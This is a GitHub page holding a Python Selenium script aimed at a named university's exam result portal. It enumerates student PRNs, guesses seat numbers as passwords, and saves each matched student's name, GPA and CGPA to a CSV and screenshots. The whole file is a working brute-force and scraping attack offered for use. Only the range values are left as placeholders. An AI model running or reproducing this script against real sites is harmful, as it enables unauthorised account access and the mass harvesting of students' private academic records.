-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.py
124 lines (76 loc) · 2.95 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from PIL import Image
import csv
import os
os.mkdir("result")
# MAKE CHANGE HERE
start_prn = #########
end_prn = #########
# MAKE CHANGE HERE
start_seat_num = #########
end_seat_num = #########
csvfile = open("./result/data.csv", "w")
csvwriter = csv.writer(csvfile)
csvwriter.writerow(["PRN", "Seat Number", "Name", "GPA", "CGPA"])
prn = []
seat_num = []
for i in range(start_prn, end_prn + 1):
prn.append(i)
for i in range(start_seat_num, end_seat_num + 1):
seat_num.append(i)
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--start-maximized')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')
browser = webdriver.Chrome(options=chrome_options)
for username in prn:
browser.get("https://www.examination.siu.edu.in/examination/result.html")
browser.switch_to.frame(0)
usernameExists = True
seatnumExists = False
for password in seat_num:
browser.find_element_by_id("login").send_keys(username)
browser.find_element_by_name("Submit").click()
if "Login failed. Please try again." in browser.page_source:
usernameExists = False
break
browser.find_element_by_id("login").send_keys(password)
browser.find_element_by_name("Submit").click()
try:
WebDriverWait(browser, 3).until(EC.alert_is_present())
alert = browser.switch_to.alert
alert.accept()
except TimeoutException:
seatnumExists = True
break
if not usernameExists:
continue
if not seatnumExists:
continue
ele = browser.find_element("xpath", "/html")
total_height = ele.size["height"] + 1000
browser.set_window_size(1920, total_height)
browser.save_screenshot(f"./result/{username}.png")
element = browser.find_element_by_xpath("/html/body/div[3]/div/div/div/div/table/tbody/tr/td/table/tbody")
location = element.location
size = element.size
x = location['x']
y = location['y']
width = location['x'] + size['width']
height = location['y'] + size['height']
im = Image.open(f"./result/{username}.png")
im = im.crop((int(x), int(y), int(width), int(height)))
im.save(f"./result/{username}.png")
seat_num.remove(password)
name = browser.find_element_by_xpath("//*[contains(text(), 'NAME')]/../../td[2]").text
gpa = browser.find_element_by_xpath("//*[contains(text(), 'GPA')]/..").text
cgpa = browser.find_element_by_xpath("//*[contains(text(), 'CGPA')]/..").text
csvwriter.writerow([username, password, name[3:], gpa[8:], cgpa[9:]])
csvfile.close()
browser.quit()
# END OF SCRIPT